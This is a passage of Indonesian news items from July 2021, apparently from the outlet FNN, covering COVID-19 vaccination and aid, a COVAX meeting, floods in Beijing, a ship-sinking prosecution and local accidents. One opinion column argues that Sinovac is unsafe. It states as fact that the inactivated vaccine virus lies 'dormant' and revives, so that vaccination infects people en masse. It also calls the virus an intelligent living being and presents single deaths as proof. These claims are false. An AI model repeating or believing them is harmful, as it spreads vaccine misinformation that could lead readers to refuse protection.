warga yang sudah selesai menjalani vaksinasi baru meliputi 7,29 persen dari total sasaran. (sws)

Bupati HSS Minta Penerima Manfaat Program Pemerintah Divaksin COVID-19

Banjarmasin, FNN - Bupati Hulu Sungai Selatan (HSS) H Achmad Fikry meminta kepada semua penerima manfaat program pemerintah untuk divaksin COVID-19. "Terkait program vaksinasi COVID-19 untuk Keluarga Penerima Manfaat (KPM), mereka harus divaksin terlebih dahulu, tentunya setelah melalui proses pemeriksaan kesehatan atau skrining," katanya di sela menyerahkan secara simbolis penyaluran bantuan sosial (Bansos) Program Rumah Sejahtera (PRS) dan Usaha Ekonomi Produktif (UEP) di wilayah tiga Daha di Banjarmasin, Selasa. Menurut dia, ini hanya bentuk ikhtiar untuk meningkatkan daya tahan kelompok dan sosial, dalam memutus mata rantai penyebaran COVID-19 di Kabupaten HSS. "Mari bersama-sama mendukung program pemerintah untuk memutus mata rantai penyebaran COVID-19 ini, jadi para penerima manfaat jangan takut untuk menjalani vaksinasi," ucapnya. Sementara itu, Kepala Dinas Sosial HSS Nordiansyah mengatakan dalam APBD murni HSS tahun 2021 diusulkan penerima bantuan sosial PRS sebanyak 500 orang, namun setelah diverifikasi akhir tersisa 352 orang yang berhak menerima. Ia mengatakan 148 orang tidak bisa menerima bantuan sosial karena meninggal dunia, mendapatkan bantuan dari APBD provinsi dan dari desa. Selain itu, mendapatkan bantuan dari keluarga, bahkan sudah ada yang rumahnya diperbaiki oleh warga. "Besaran bantuan sosial PRS Rp13,9 juta per KPM, sedangkan untuk bantuan sosial program UEP tahun 2021 sebanyak 140 orang, namun berdasarkan verifikasi akhir hanya 106 orang yang masih berhak menerima bantuan sosial," katanya. Sedangkan, 34 orang dilaporkan tidak memenuhi kriteria, karena sudah mampu, tidak ada usaha dijalankan, sudah pernah mendapatkan bantuan sejenis dan meninggal dunia. Besaran bantuan UEP antara Rp2,7 juta sampai Rp3 juta per KPM. (sws)

Pimpin Pertemuan COVAX, Menlu RI Dorong Percepatan Distribusi Vaksin

Jakarta, 13/7 (ANTARA) - Menteri Luar Negeri RI Retno Marsudi mendorong percepatan distribusi vaksin COVID-19 secara global saat memimpin pertemuan ke-5 COVAX AMC Engagement Group (EG) secara virtual bersama Menteri Kesehatan Ethiopia Lia Tadesse dan Menteri Pembangunan Internasional Kanada Karina Gould pada Senin (12/7). Menlu Retno memimpin sesi yang membahas tiga isu terkait kepastian pengiriman dan distribusi vaksin, yaitu prediksi pasokan vaksin pada kuartal tiga dan kuartal empat 2021, rencana pengiriman vaksin COVID-19, dan persiapan penerimaan vaksin oleh negara-negara AMC (Advanced Market Commitment). Di awal pertemuan, Retno mengulang kembali pernyataan Direktur Jenderal WHO bahwa saat ini dunia berada pada tahap pandemi yang berbahaya. Tingginya tingkat kematian, meningkatnya kasus di banyak negara, dan kesenjangan vaksinasi global yang makin melebar adalah situasi yang saat ini dihadapi dunia. “Banyak negara mengalami lonjakan kasus dan kematian karena varian baru dan pelonggaran kebijakan. Sementara itu, kesenjangan vaksinasi global terus melebar. Jika ini terus berlanjut, dunia tidak akan pernah menang melawan COVID-19,” ujar Menlu Retno, seperti disampaikan melalui keterangan tertulisnya, Selasa. Oleh karena itu, Retno mendorong percepatan vaksinasi global melalui peningkatan produksi vaksin dengan melakukan diversifikasi produk, perluasan portfolio vaksin yang disalurkan oleh COVAX, dan peningkatan kapasitas vaksinasi negara-negara AMC. Data dari Aliansi Vaksin GAVI per 11 Juli 2021 menunjukkan COVAX telah mengirim 103 juta dosis vaksin ke 135 negara peserta. GAVI juga sudah menyetujui pendanaan untuk mendukung pengiriman vaksin ke negara peserta AMC senilai 775 juta dolar AS (sekitar Rp11,2 triliun). Sementara itu, 58 negara termasuk Indonesia, telah mengajukan pembelian vaksin melalui mekanisme berbagi biaya (cost-sharing). Dalam pertemuan tersebut, dijelaskan bahwa COVAX meyakini pasokan vaksin akan terus meningkat dengan bertambahnya vaksin yang telah mendapat izin penggunaan darurat (emergency use listing/EUL) dari Organisasi Kesehatan Dunia (WHO), peningkatan produksi oleh produsen vaksin, dan dimulainya kembali ekspor vaksin yang sebelumnya terhambat. COVAX juga telah melakukan langkah-langkah untuk mengatasi kekurangan pasokan vaksin jangka pendek dan jangka panjang, antara lain dengan pembentukan COVAX Manufacturing Taskforce. Kedua, semakin besarnya jumlah dose-sharing atau berbagi vaksin dari negara yang memiliki kelebihan vaksin akan meningkatkan jumlah pasokan global yang dapat digunakan oleh negara peserta AMC. Menurut Fasilitas COVAX, hingga 12 Juli 2021, terdapat lebih dari 530 juta dose-sharing yang siap didistribusikan ke sejumlah negara yang membutuhkan. Fasilitas COVAX Facility menyiapkan mekanisme, termasuk pendanaan, untuk mempersiapkan kapasitas negara AMC dalam menerima vaksin dan menjalankan program vaksinasi nasional di negaranya. COVAX juga menyiapkan berbagai dukungan untuk memastikan kapasitas penerimaan vaksin dan pelaksanaan program vaksinasi nasional. Dalam diskusi dibahas pula fenomena varian baru COVID-19 dan efikasi vaksin yang ada saat ini dalam menghadapi varian-varian baru khususnya varian Delta. Perwakilan WHO menjelaskan bahwa hingga saat ini WHO terus mengamati munculnya varian baru dan menyampaikan bahwa vaksin setidaknya dapat mengurangi tingkat keparahan infeksi sehingga mengurangi tingkat perawatan di rumah sakit dan kematian akibat varian baru itu. WHO akan terus memantau tingkat efektifitas vaksin dan memerlukan lebih banyak data dari banyak negara. Fasilitas COVAX adalah mekanisme multilateral yang berupaya menjamin akses yang merata terhadap vaksin COVID-19 bagi semua negara. Hingga saat ini, Indonesia telah menerima 11.228.460 dosis melalui COVAX, yang terdiri dari vaksin AstraZeneca dan Moderna. Jumlah ini masih akan terus bertambah di masa mendatang. Pertemuan COVAX AMC EG selanjutnya akan diselenggarakan pada 12 Oktober 2021. (mth)

Gubernur Sumsel Bantu Jabar Atasi Kelangkaan Oksigen

Palembang, FNN - Gubernur Sumatera Selatan Herman Deru membantu Pemerintah Provinsi Jawa Barat mengatasi kelangkaan oksigen di rumah sakit (RS) rujukan COVID-19 menghadapi lonjakan pasien terinfeksi virus corona dalam beberapa bulan terakhir. "Untuk membantu Pemerintah Provinsi Jawa Barat mengatasi permasalahan tersebut difasilitasi komunikasinya dengan manajemen PT.OKI Pulp & Paper Mills yang memiliki kelebihan produksi liquid oksigen untuk kebutuhan industri kertas," kata Gubernur Herman Deru di Palembang, Selasa. Dia menjelaskan menghadapi kelangkaan oksigen seiring terjadinya lonjakan kasus positif COVID-19, pihaknya berupaya mengatasinya dengan melakukan pendekatan dengan sejumlah perusahaan yang memroduksi oksigen hingga 100 ton per hari. Menurut Gubernur perusahaan yang memroduksi oksigen di wilayah Sumsel ada empat yakni PT.Ligasin, Samator, PT.Pusri, dan PT.OKI Pulp & Paper Mills. Ia mengemukakan perusahaan tersebut menyatakan siap memaksimalkan produksi untuk mencegah terjadi kelangkaan oksigen di wilayah Sumsel dan membantu provinsi lainnya yang akhir-akhir ini mengalami kelangkaan oksigen melalui program tanggung jawab sosial perusahaan (Corporate Social Responsibility/CSR). "Salah satu provinsi yang telah dibantu yakni Jawa Barat, bantuan oksigen itu juga diupayakan untuk daerah lain yang mengalami kesulitan memperoleh pasokan oksigen itu," kata Herman Deru. Sementara Wakil Ketua Posko Harian Oksigen Jabar, Begin Troys ketika berkunjung ke Palembang, Senin (12/7) mengatakan pihaknya berupaya melakukan pencarian sumber pasokan oksigen untuk mengatasi kelangkaan oksigen di rumah sakit dampak lonjakan pasien COVID-19. "Kami mendapat informasi di Sumsel terdapat industri yang menghasilkan oksigen, untuk itu tim datang ke daerah ini dan difasilitasi Gubernur Sumsel, Herman Deru bertemu dengan manajemen PT.OKI Pulp & Paper Mills yang menyatakan siap membantu Jabar," katanya. (mth)

Jangan Sampai Moderna Seperti Sinovac: Tidak Aman!

Oleh : Mochamad Toha* Menyusul banyaknya korban di kalangan tenaga kesehatan, demi meningkatkan imunitas para nakes yang berada di garda terdepan, Kemenkes akan vaksinasi ketiga booster kepada 1,47 juta nakes dengan Vaksin Moderna asal Amerika Serikat. Hasil evaluasi akhir itu saat menghitung efikasi vaksin secara keseluruhan dalam melawan infeksi dari Covid-19 sebesar 94,1 persen. Angka ini lebih rendah daripada yang diumumkan Moderna pada 16 November lalu yakni 94,5 persen. Sebelumnya, berdasarkan data Tim Mitigasi IDI terdapat 949 tenaga kesehatan yang wafat akibat Covid-19 selama pandemi. Rinciannya, sejak Maret 2020 hingga 26 Juni 2021, yaitu 401 dokter umum dan spesialis, 43 dokter gigi, 315 perawat, 150 bidan, 15 apoteker, dan 25 tenaga laboratorium medik. Mereka ini telah disuntuk dengan Vaksin Sinovac asal China. Dan, kini terdapat hampir seribu tenaga kesehatan yang sedang menjalani isolasi mandiri hingga perawatan intensif. Untuk dokter, setelah program vaksinasi dilakukan, terdapat 88 dokter yang meninggal. Detailnya, 20 dokter telah menerima vaksin (10 orang dari Februari 2021-Mei 2021, dan 10 orang pada Juni 2021), 35 dokter belum divaksin, dan 33 dokter masih dalam konfirmasi. Sementara, menurut data PPNI, terdapat 28 perawat meninggal akibat Covid pascaliburan Lebaran Mei tahun ini hingga 26 Juni lalu. Dari jumlah tersebut, 10 perawat telah menerima vaksin, 17 belum divaksin karena komorbid, dan satu masih dalam konfirmasi. Menurut Ketua Umum DPP PPNI Harif Fadhillah, faktor yang menyebabkan banyaknya perawat meninggal terinfeksi Covid-19, karena mereka bekerja pada tempat yang memiliki risiko tinggi terpapar, penyakit itu sendiri, dan penyakit penyerta. Perlu dicatat, vaksin Sinovac itu terbuat dari Virus Corona yang sudah “dilemahkan atau dimatikan”. Jika vaksinasi yang kini sedang berjalan itu tidak dihentikan sementara, hal itu sama saja dengan menginfeksi rakyat Indonesia dengan Covid-19 secara massal. Sebab, virus yang inactivated itu, dipastikan ada yang dormant (tidur). Nah, yang dorman dan dikira mati itulah pada saat atau dengan suhu tertentu akan bangun dari tidurnya! Ingat, virus atau bakteri corona itu mahluk hidup yang cerdas! Misalnya, bila virus corona dihantam desinfektan chemikal (kimia), maka asumsi umumnya mereka mati. Tapi, faktanya saat ini mutasi corona sampai ribuan karakter atau varian. Karena gennya bermutasi, mutannya ada yang “bersifat” tidak hanya ke reseptor ACE-2 (Angiotensin Converting Enzyme 2) saja, tapi langsung menginfeksi sel-sel saraf. Manifesnya bisa meningitis, seperti yang menimpa penyanyi yang meninggal beberapa bulan lalu. Ada yang langsung berikatan atau menempel di sel-sel darah merah, sehingga manifestasi klinisnya seperti DB, tapi setelah dites PCR: positif. Ini banyak ditemukan di pasien-pasien anak di rumah sakit. Fakta klinis tersebut ditemukan di rumah sakit. Jadi, Covid-19 itu tidak hanya menginfeksi di saluran pernapasan saja, tapi Covid-19 juga sudah mulai menginfeksi saluran pencernaan, sistem saraf, hingga mata. Perlu diingat lagi, Covid-19 itu terjadi dan meledak lebih dari setahun lalu. Padahal, fase membuat vaksin itu butuh waktu 12-18 bulan. Dari mana specimen virusnya itu diperoleh? Kabarnya, basic dari vaksin ini adalah kasus SARS-Corona 5 tahun lalu, bukan Covid-19 ini. Apakah efektif untuk Covid-19? Kematian dr. JF di Palembang, sehari setelah divaksin, dan DR. Eha Soemantri SKM, MKes, di Makassar, menjadi bukti Sinovac tidak aman. Teranyar, Kabar duka datang dari Universitas Padjadjaran, Kota Bandung. Kepala Divisi Surveilans dan Uji Klinik Bio Farma Novilia Sjafri Bachtiar, yang juga Dosen Luar Biasa Fakultas Farmasi UNPAD meninggal dunia. Kabarnya, Novilia meninggal dunia karena terinfeksi Covid-19. Novilia adalah Kepala Tim Peneliti Uji Klinis vaksin Sinovac di tanah air dari Bio Farma. Dia mengawal proses uji klinis vaksin Covid-19 yang sudah dimulai sejak Agustus 2020. Vaksin Moderna Raksasa farmasi AS, Moderna, mengklaim vaksin Covid-19 yang dikembangkannya mampu melindungi 100 persen relawan uji coba dari gejala parah Covid-19. Vaksin ini juga disebut menunjukkan konsistensi untuk semua usia, ras, etnis dan demografi jenis kelamin. Klaim tersebut berdasarkan hasil utuh evaluasi terhadap uji klinis tahap tiga yang sudah dijalaninya melibatkan 30 ribu relawan di AS. Moderna mendapati 196 relawan terinfeksi Covid-19, terdiri dari 185 orang dari kelompok penerima plasebo dan 11 dari mereka yang telah menerima suntikan calon vaksin. Dari 196 kasus Covid-19 itu, sebanyak 30 di antaranya berkembang hingga memiliki gejala parah atau berat dan seorang di antaranya akhirnya meninggal. Namun, seluruhnya dipastikan berasal dari kelompok plasebo. Itu sebabnya Moderna mengeluarkan klaim 100 persen kalau vaksin yang dikembangkannya mampu melindungi dari gejala yang parah. Pihak Moderna juga mengatakan, 196 kasus Covid-19 yang sama mencakup 33 orang dewasa berusia di atas 65 tahun. Sebanyak 42 sukarelawan berasal dari berbagai kelompok ras, antara lain: 29 Latin, 6 kulit hitam, 4 Asia-Amerika, dan 3 peserta multiras. Selain itu, Moderna melaporkan tak ada efek samping baru yang muncul selama pemantauan dilakukan secara internal. Efek samping yang paling umum hanya kelelahan, kemerahan dan nyeri di tempat suntikan, sakit kepala dan nyeri tubuh, yang meningkat setelah dosis kedua namun berumur pendek. “Kami yakin memiliki vaksin yang sangat mujarab dan memiliki data untuk membuktikannya. Kami berharap dapat memainkan peran utama untuk titik balik pandemi ini,” kata Kepala Medis Moderna, Tal Zaks, 30 November 2020. Hasil evaluasi akhir itu menghitung efikasi vaksin secara keseluruhan dalam melawan infeksi virus Covid-19 adalah sebesar 94,1 persen. Angka ini sebenarnya lebih rendah daripada yang diumumkan Moderna pada 16 November lalu yakni 94,5 persen, namun Zaks menganggap perbedaan itu tak signifikan secara statistik. “Vaksin itu menyebabkan gejala mirip flu yang signifikan pada beberapa peserta, yang sejalan dengan vaksin yang begitu manjur. Tapi, sejauh ini tidak menimbulkan masalah keamanan yang signifikan,” kata Zaks menambahkan. Melansir Kompas.com, Selasa (06/07/2021, 17:32 WIB), Moderna dilaporkan menyebabkan sejumlah efek samping yang lebih jarang namun harus diwaspadai. Misalnya saja miokarditis atau radang otot jantung dan perikarditis alias peradangan pada lapisan di luar jantung. Badan Pengawas Obat dan Makanan (FDA) AS menyebutkan, efek samping ini sangat kecil terjadi pasa kebanyakan orang. Namun orang yang mengalaminya harus segera mencari pertolongan medis. Gejala yang muncul misalnya saja nyeri dada, sesak napas, dan jantung berdebar kencang. Sebagian besar pasien segera membaik setelah mendapatkan pengobatan. Moderna juga berisiko menyebabkan anafilaksis alias reaksi alergi parah. Vaksin COVID-19 ini mengandung polietilen glikol (PEG), yang berpotensi untuk memicu reaksi alergi. Kandungan PEG ini dipakai sebagai lapisan pelindung untuk molekul mRNA saat memasuki sel. Alergi akibat PEG sebenarnya sangat jarang terjadi namun lembaga Centers for Disease Control and Prevention (CDC) AS mengajurkan agar orang dengan riwayat alergi sebaiknya tidak divaksin dengan Moderna. Sejumlah gejala yang mungkin dirasakan karena alergi seperti sulit bernafas, pembengkakan wajah dan tenggorokan, detak jantung yang cepat, ruam di sekujur tubuh, pusing dan tubuh terasa lemah. Sebelum Moderna ini benar-benar disuntikkan pada 1,47 juta nakes, sebaiknya BPOM sudah meneliti dengan cermat atas efek sampingnya. Jangan sampai seperti Sinovac: Tidak Aman! Penulis adalah wartawan FNN

Beijing dan Kota di China Terancam Banjir, Perusahaan Terapkan WFH

Beijing, FNN - Kota Beijing dan beberapa wilayah lain di China sedang menghadapi ancaman banjir setelah diguyur hujan deras sejak Minggu (11/7) malam hingga Selasa siang. Aktivitas luar ruang, seperti olahraga, hiburan, dan bisnis di Kota Beijing dihentikan. Taman kanak-kanak dan sekolah menengah ditutup. Warga yang tinggal di gedung rawan roboh telah dievakuasi. Jalan raya dan stasiun kereta bawah tanah dikosongkan. Beberapa perusahaan mengatur karyawannya untuk bekerja dari rumah (WFH). Warga Beijing sejak Senin (12/7) telah siap menghadapi curah hujan terberat tahun ini dengan persiapan yang belum pernah terjadi sebelumnya seolah-olah wilayah ibu kota waspada menghadapi peperangan yang sulit, tulis media setempat, Selasa. Otoritas Kota Beijing menyebutkan curah hujan pada Minggu (11/7) pukul 18.00 waktu setempat (17.00 WIB) hingga Senin (12/7) pukul 12.00 berkisar antara 80,1 milimeter hingga 177,6 milimeter. Sebanyak 462 penerbangan dari dan ke dua bandar udara internasional di Beijing terpaksa menyesuaikan jadwal pada Senin. Sebanyak 10 penerbangan dari Bandara Ibu Kota Beijing (BCIA) pada hari itu juga dibatalkan. "Hujan deras sekarang relatif lebih tinggi daripada beberapa tahun terakhir ini masih dalam perkiraan musim banjir di Beijing pada Juli dan Agustus yang menyumbang hampir 70 persen curah hujan tahunan di kota ini," kata pengamat meteorologi Beijing, Zhang Mingying. Beberapa wilayah utara China lainnya, seperti Tianjin dan Hebei juga mengalami ancaman serupa. Kementerian Sumber Daya Air telah mengirimkan satuan tugas khusus ke Beijing, Hebei, Sichuan, Chongqing, Jiangsu, dan Heilongjiang guna memberikan panduan dalam menghadapi ancaman bencana banjir. Hujan deras di Provinsi Sichuan bakal menyebabkan 14 sungai meluap. (mth)

Penyidik Ditpolairud Jambi Serahkan Berkas Kapten Kapal Wicly

Jambi, FNN - Penyidik Ditpolairud Polda Jambi segera menyerahkan berkas perkara dan tersangka kasus kecelakaan maut Kapal Motor (KM) Wicly Jaya Sakti yang tenggelam di perairan Nipah Panjang, Kabupaten Tanjungjabung Timur, Provinsi Jambi yang menewaskan delapan penumpangnya. Direktur Polairud Polda Jambi Kombes Pol P Lumban Gaol, di Jambi, Selasa, mengatakan berkas perkara atas nama Kapten KM Wicly Jaya Sakti, Aan Zahri telah lengkap atau P-21 dan segera dilimpahkan dari penyidik ditpolairud kepada jaksa Kejaksaan Tinggi (Kejati) Jambi. Direktorat Kepolisian Perairan dan Udara (Ditpolairud) Polda Jambi beberapa waktu lalu telah menetapkan tersangka nakhoda Kapal Motor (KM) Wicly Jaya Sakti bernama Aan Zahri, warga Muarojambi. Penetapan tersangka nakhoda KM Wicly sesuai dengan fakta di lapangan dan keterangan para saksi, dan nakhoda tersebut menyalahi Undang-Undang Pelayaran. Gaol menjelaskan, kesalahan fatal yang dilakukan nakhoda yakni diduga melakukan pengangkutan penumpang atau orang, sedangkan kapal motor tersebut diperuntukkan mengangkut barang. "Untuk dokumen dan sebagainya sendiri masih layak untuk berlayar, tetapi penyalahgunaan saja, dari kapal pengangkut barang dibuat untuk mengangkut orang," kata Dirpolairud Polda Jambi Kombes Pol P Lumban Gaol. Penetapan nakhoda kapal tersebut sebagai tersangka, Ditpoairud Polda Jambi telah memeriksa sebanyak tujuh orang saksi mulai dari penumpang dan ABK kapal, dan akibat perbuatannya, nakhoda tersebut melanggar perundang-undangan pelayaran dan terancam sanksi hukuman 10 tahun penjara. KM Wicly Jaya Sakti berlayar dari perairan Tanjung Jabung Timur menuju Dabo Singkep, Riau, tenggelam diterjang ombak yang menyebabkan bagian bawah kapal pecah. Kapal angkutan barang tersebut, mengangkut sebanyak 26 orang termasuk nakhoda, ABK, dan penumpang. Kemudian, 18 orang dilaporkan selamat, sedangkan delapan orang ditemukan dalam keadaan meninggal dunia. (sws)

Kanada Wajibkan Penilaian Risiko, Lindungi Kekayaan Intelektual

Ottawa, FNN - Kanada pada Senin (12/7) mengatakan akan mewajibkan evaluasi rinci atas kemitraan penelitian universitas untuk melindungi hak kekayaan intelektual dan menjaga informasi sensitif dari tangan pemerintah asing. Pedoman penelitian baru itu, yang dirinci dalam pernyataan pemerintah, muncul saat mata-mata dan campur tangan asing di Kanada mencapai tingkat Perang Dingin tahun lalu, sebagian karena kerentanan yang disebabkan oleh pandemi COVID-19. "Dengan mengharuskan penilaian risiko yang diajukan dengan permintaan dana penelitian, pedoman wajib baru ini akan membantu melindungi penelitian, pengetahuan, dan kekayaan intelektual Kanada," kata Menteri Inovasi Francois-Philippe Champagne dalam pernyataannya. "Kami tidak akan mempertaruhkan keamanan nasional dan ekonomi Kanada. Proyek yang dianggap berisiko tinggi, atau di mana risikonya tidak dapat dikurangi, tidak akan didanai," tambahnya. Pemimpin oposisi konservatif Erin O'Toole telah menyerang pemerintah Perdana Menteri Liberal Justin Trudeau dalam beberapa pekan terakhir karena tidak memberikan rincian lebih lanjut tentang kasus di mana dua peneliti China dikeluarkan dari Laboratorium Mikrobiologi Nasional Winnipeg pada 2019. Kepolisian Kanada sedang menyelidiki kasus tersebut. Universitas Kanada bergantung pada pembiayaan pemerintah, dan penelitian universitas hampir secara eksklusif didukung oleh dana federal, menurut Statistik Kanada. (sws) Sumber: Reuters

Mendag AS Desak untuk Cabut Pembatasan Ketat Perjalanan ke Negaranya

Washington, FNN - Menteri Perdagangan Amerika Serikat Gina Raimondo mengatakan pada Senin (12/7) bahwa dia mendesak pelonggaran pembatasan virus corona yang melarang sebagian besar warga di dunia bepergian ke Amerika Serikat, tetapi pejabat kesehatan AS tetap khawatir atas makin merebaknya wabah. Lusinan kelompok bisnis AS, anggota parlemen, dan pejabat dari pemerintah asing mendesak pemerintahan Presiden Joe Biden untuk melonggarkan pembatasan ketat yang diberlakukan di bawah mantan Presiden Donald Trump. "Kami sedang mengerjakannya," kata Raimondo kepada Reuters dalam sebuah wawancara, "Saya berusaha sangat keras." Dia mengatakan dia bertemu dengan Menteri Kesehatan dan Layanan Kemanusiaan AS Xavier Becerra pada Jumat tetapi tidak memiliki informasi tentang kapan keputusan dapat dibuat. "CDC (Pusat Pengendalian dan Pencegahan Penyakit) gusar, dan sulit untuk mengetahui apakah orang divaksin," katanya. "Tidak ada paspor vaksin yang dapat diandalkan, dan itu semacam rintangan besar." Gedung Putih mengatakan sedang melanjutkan diskusi dengan Uni Eropa, Inggris, Kanada dan Meksiko tentang bagaimana akhirnya mencabut pembatasan, tetapi pejabat AS mengatakan mereka masih belum memiliki jadwal dan pejabat industri perjalanan berpikir pembatasan mungkin tidak akan dicabut sampai Agustus atau lebih. Gedung Putih telah berulang kali mengesampingkan paspor vaksin nasional. Menteri Transportasi Pete Buttigieg telah bergabung dengan Raimondo dalam mendorong pencabutan pembatasan, menurut sumber yang mengetahui diskusi tersebut, tetapi orang lain dalam pemerintahan tetap khawatir bahwa membuka pintu bagi lebih banyak pelancong dari luar negeri dapat menyebabkan peningkatan tingkat infeksi COVID-19. Seorang juru bicara Becerra tidak segera berkomentar tentang pertemuan dengan Raimondo. Maskapai dan lainnya mendesak pemerintah untuk mencabut pembatasan yang mencakup sebagian besar warga negara non-AS yang baru-baru ini berada di Inggris, 26 negara Schengen di Eropa tanpa kontrol perbatasan, Irlandia, China, India, Afrika Selatan, Iran, dan Brazil. Amerika Serikat juga melarang pelancong yang tidak penting untuk menyeberang ke Amerika Serikat dari perbatasan darat Kanada atau Meksiko. Diplomat Eropa dan lainnya berpendapat bahwa daftar negara dengan pembatasan perjalanan yang terlalu ketat termasuk beberapa negara dengan tingkat infeksi yang rendah, sementara yang lain dengan tingkat infeksi yang tinggi, termasuk Argentina, tidak menghadapi pembatasan. (sws) Sumber: Reuters

MUI Imbau Masyarakat Agar Patuhi Larangan Shalat Idul Adha di Masjid

Jakarta, FNN - Majelis Ulama Indonesia (MUI) mengimbau masyarakat agar mematuhi larangan pelaksanaan Shalat Idul Adha berjamaah di masjid dan lapangan di zona merah serta oranye. Sekretaris Jenderal MUI Amirsyah Tambunan dalam keterangannya diterima di Jakarta, Selasa, mengatakan pemerintah membuat kebijakan itu untuk menekan laju penularan COVID-19. Majelis Ulama Indonesia (MUI) telah mengeluarkan Taushiyah Nomor Kep-1440/DP-MUI/VII/2021 tentang pelaksanaan ibadah, Shalat Idul Adha dan penyelenggaraan kurban saat pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat. "Pelaksanaan Shalat Idul Adha mengacu pada Fatwa Nomor 36 Tahun 2020 tentang Shalat Idul Adha dan penyembelihan hewan kurban saat wabah COVID-19. Implementasinya diserahkan kepada pemerintah atas dasar upaya mewujudkan maslahat (jalb al-mashlahah) dan mencegah terjadinya mafsadat (daf’u al-mafsadah)," kata Amirsyah Tambunan. Pemerintah menutup aktivitas di semua rumah ibadah selama pelaksanaan PPKM Darurat, 3-20 Juli. Meski demikian, Amirsyah menjelaskan azan tetap bisa dikumandangkan oleh petugas khusus yang memang rutin melakukan itu. Selain itu, pengurus dapat mengoptimalkan masjid dan tempat ibadah lainnya sebagai sarana edukasi dan rehabilitasi COVID-19, penyuluhan, serta pertolongan bagi masyarakat yang menjadi korban COVID-19. Pimpinan Pusat (PP) Muhammadiyah juga meminta masyarakat tidak melaksanakan shalat Idul Adha berjamaah di masjid dan lapangan di zona merah dan oranye. "Shalat Idul Adha di lapangan atau masjid atau di fasilitas umum sebaiknya ditiadakan," bunyi salah satu poin imbauan PP Muhammadiyah melalui Surat Edaran Nomor 05/EDR/I.0/E/2021. Dalam surat edaran, PP Muhammadiyah juga menyampaikan bahwa shalat Idul Adha bagi yang menghendaki dapat dilakukan di rumah masing-masing bersama anggota keluarga dengan cara yang sama seperti shalat Idul Fitri di lapangan. Sekretaris Umum PP Muhammadiyah Abdul Mu'ti mengkritisi beredarnya pesan di media sosial yang menuding pemerintah komunis karena melarang shalat Idul Adha di masjid. Abdul Mu'ti mengatakan, masyarakat hendaknya kritis menyikapi berita-berita hoaks, disinformasi, dan mengadu domba. "Saat jutaan orang menderita sakit dan wafat karena COVID-19 masih ada pihak yang membuat dan menyebarkan berita sampah yang tidak bermanfaat," kata Abdul Mu'ti. (sws)

GTPP: Pasien Positif COVID-19 di NTT Bertambah 804 Orang

Kupang, FNN - Gugus Tugas Percepatan Penanganan COVID-19 Provinsi Nusa Tenggara Timur (NTT) mencatat adanya penambahan 804 pasien yang terkonfirmasi positif COVID-19, sehingga secara akumulatif warga setempat yang terpapar virus Corona baru itu menjadi 27.684 orang. "Penambahan kasus COVID-19 di daerah kita pada Senin (12/7) mencapai 804 orang. Penambahan ini sangat tinggi dalam beberapa bulan terakhir," kata Juru Bicara Gugus Tugas Percepatan Penanganan (GTPP) COVID-19 Provinsi NTT, Marius Ardu Jelamu di Kupang, Selasa. Marius mengatakan, penambahan 804 orang yang terpapar virus Corona baru itu diketahui dari hasil pemeriksaan 1.789 sample swab di berbagai daerah di P provinsi ini. Dia mengatakan, penambahan 804 pasien COVID-19 itu berasal dari 16 kabupaten/kota di NTT. Menurut dia, terdapat 8.334 orang pasien COVID-19 yang masih dalam perawatan dan isolasi mandiri karena terinfeksi virus Corona. "Jumlah pasien yang masih dalam perawatan maupun isolasi mandiri masih cukup tinggi tersebar di 22 kabupaten/kota di NTT,"tegasnya. Selain terjadi penambahan kasus positif COVID-19 ada 446 pasien COVID-19 di provinsi berbasis kepulauan ini yang dinyatakan sembuh dari infeksi COVID-19. "Total pasien COVID-19 yang sembuh di NTT mencapai 18.740 orang. Jumlah pasien yang sembuh cukup tinggi," tegas Marius yang saat ini juga sedang menjalani isolasi mandiri karena positif COVID-19. Sementara itu, kata dia, pasien COVID-19 yang meninggal dunia karena terpapar virus Corona pada Senin (12/7) mengalami penambahan enam orang berasal dari Kota Kupang tiga orang, serta Kabupaten Ende , Kabupaten Manggarai dan Sumba Timur masing-masing satu orang. Jumlah kasus meninggal dunia akibat paparan virus Corona di Provinsi Nusa Tenggara Timur mencapai 581 orang. (sws)

Ibu dan Anak Meninggal Tersengat Jemuran Beraliran Listrik

Simalungun, FNN - Seorang ibu dan anaknya, Purnama Silalahi (44) dan Sara Pardede (16), tewas saat menjemur pakaian di belakang rumahnya di Kabupaten Simalungun pada Senin (12/7), akibat adanya aliran listrik pada kawat jemurannya. Warga Huta Ganjang, Nagori Pardomuan Nauli, Kecamatan Pematang Bandar, Kabupaten Simalungun, Sumatera Utara itu, meninggal karena tersetrum karena adanya aliran listrik pada kawat jemurannya. Kapolres Simalungun AKBP Agus Waluyo diwakili Kapolsek Perdagangan AKP Josia, Selasa, membenarkan kedua korban meninggal akibat tersengat arus listrik. Menurut keterangan petugas PLN Kerasaan Zainal Lubis (38), sumber arus listrik berasal dari kabel yang terpotong ujungnya, kemudian menyentuh seng yang berhubungan langsung dengan kawat jemuran tersebut. Bidan Desa setempat Nurmita boru Sitinjak (52) menjelaskan, dari hasil visum luar, korban Sara mengalami luka bakar sengatan listrik di bagian tangan kanan, dan korban Purnama mengalami luka bakar sengatan listrik di bagian tangan kiri dan tangan kanan. Pihak kepolisian mengamankan barang bukti kabel listrik berwarna putih panjang lebih kurang tiga meter, dan dua utas kawat jemuran berukuran lebih kurang panjang dua meter. Sedangkan kedua jenazah diserahkan ke pihak keluarga untuk disemayamkan, setelah menolak dilakukan visum yang pernyataannya ditandatangani Sahat Pardede (53), suami korban Purnama. Dalam peristiwa itu, seorang warga Kaudiman Nainggolan (69) dirawat karena berusaha melepaskan kedua korban dari kawat jemuran yang beraliran listrik tersebut. Brado Pardede (11), menuturkan, kakaknya, Sara menjerit-jerit ketika menjemur pakaian di belakang rumah. Saat memegang tubuh kakaknya, dia merasakan ada sengatan listrik dan memberitahukan kepada ibunya yang berupaya menolong, namun turut tersetrum. Brando pun menangis dan didengar Kaudiman Nainggolan yang melihat kedua korban sudah tergeletak di atas tanah dan menarik tangan korban Purnama, sehingga terlepas dari kawat beraliran listrik itu. (sws)

Biden: Pemerintah Federal, Lokal Harus Kerja Sama Perangi Kejahatan AS

